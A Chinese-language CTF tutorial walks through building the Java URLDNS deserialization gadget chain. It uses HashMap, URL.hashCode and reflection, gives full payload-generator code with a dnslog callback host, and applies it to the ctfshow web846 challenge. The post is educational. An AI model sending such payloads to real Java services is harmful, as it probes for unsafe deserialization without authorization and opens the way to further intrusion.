前言
学习视频从这里开始看:
快捷键
这里有几个快捷键,可以记忆一下。
比如说查看结构:alt
+7
查看层次结构:ctrl
+ H
URLDNS 链子构建
代码分析
URL有继承Serializable就证明他是可以被序列化的:
而且需要使用一个较为常见的函数hashCode:
调用了handler的hashCode函数,
其中的getHostAddress就会对域名进行解析,然后就可以利用。
dnslog生成一个网址来测试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import java.io.*; import java.net.URL; import java.util.HashMap;
public class URLDNS {
static String tarURL = "http://qdgj5w.dnslog.cn";
public static void serialize(Object obj) throws IOException{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static void main(String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL(tarURL); hashMap.put(url, 1); serialize(hashMap); } }
|
正常来说当运行 main 函数时不会访问URL,但实际上运行的结果是会访问URL的。
为什么呢,因为HashMap的put方法中就已经调用了hashCode函数:
1 2 3
| public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
|
其中的hash():
1 2 3 4
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
|
hashCode会被初始化设定为-1.
如果在put方法中执行一次,导致其不再是-1,就无法进入后面的handler的hashCode。
这就会导致不执行handler的hashCode。
也就是:
1 2 3 4 5
| 设定 hashCode = -1 ↓ hashmap.put(url, 1); ↓ hashcode = url的hashCode
|
无法在serialize中触发。
我们可以测试一下在发序列化中是否触发:
1 2 3 4 5 6 7 8 9 10 11 12
| class Deserialize { static String filename = "ser.bin"; public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object obj = objectInputStream.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { deserialize(filename); } }
|
运行之后并没有收到请求。
也就是说我们目前的问题就变成了:
1 2 3 4 5 6
| HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL(tarURL); hashMap.put(url, 1); serialize(hashMap);
|
其中这里将hashCode改回1就用到了反射,那反射是什么呢?
正射和反射
要想知道什么是反射,那就要先了解什么是正射:
1 2
| Player boogipop = new Player(); boogipop.playGame("GENSHIN");
|
也就是先实例化对象,然后对对象进行操作。
而反射与正射不同,比如你并不知道原来所实例化的对象是什么。
1 2 3 4 5
| Class class1 = boogipop.getClass(); Method method1 = class1.getMethod("playGame", String.class); Constructor constructor = class1.getConstructor(); Object object = constructor.newInstance(); method1.invoke(object, "GENSHIN");
|
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| class ReflectionTest { public static void main(String[] args) { Person person = new Person(); Class c = person.getClass(); Constructor constructor = c.getConstructor(String.class, int.class); Person person = (Person) constructor.newInstance("Boogipop", 6); System.out.println(person); Field[] personFields = c.getFields(); Field[] personFields1 = c.getDeclaredFields(); for (Field f:personFields){ System.out.println(f); } Field nameField = c.getField("name"); nameField.setAccessible(true); nameField.set(person, "Berial"); System.out.println(person); Method[] method = c.getMethods(); for (Method method1:method){ System.out.println(method1); } Method actionMethod = c.getMethod("playGame", String.class); actionMethod.invoke(person, "GENSHIN"); } }
|
修改代码
知道了反射,就可以使用反射修改其中的hashCode。
也就是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL(tarURL); Class c = url.getClass(); Field hashCode = c.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url, 1); hashMap.put(url, 1); hashCode.set(url, -1); serialize(hashMap); }
|
在反序列化之后我们才收到请求:
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import java.io.*; import java.lang.reflect.*; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class URLDNS { static String tarURL = "http://test";
public static void serialize(Object obj) throws IOException{ ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static void main(String[] args) throws Exception{ HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL(tarURL); Class c = url.getClass(); Field hashCode = c.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url, 1); hashMap.put(url, 1); hashCode.set(url, -1); serialize(hashMap); } }
class Deserialize { static String filename = "ser.bin"; public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object obj = objectInputStream.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { deserialize(filename); } }
|
测试
ctfshow web846
修改serialize代码:
1 2 3 4 5 6 7 8
| public static void serialize(Object obj) throws IOException{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); objectOutputStream.flush(); objectOutputStream.close(); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); }
|
来方便查看输出的内容。
post传入输出的内容即可: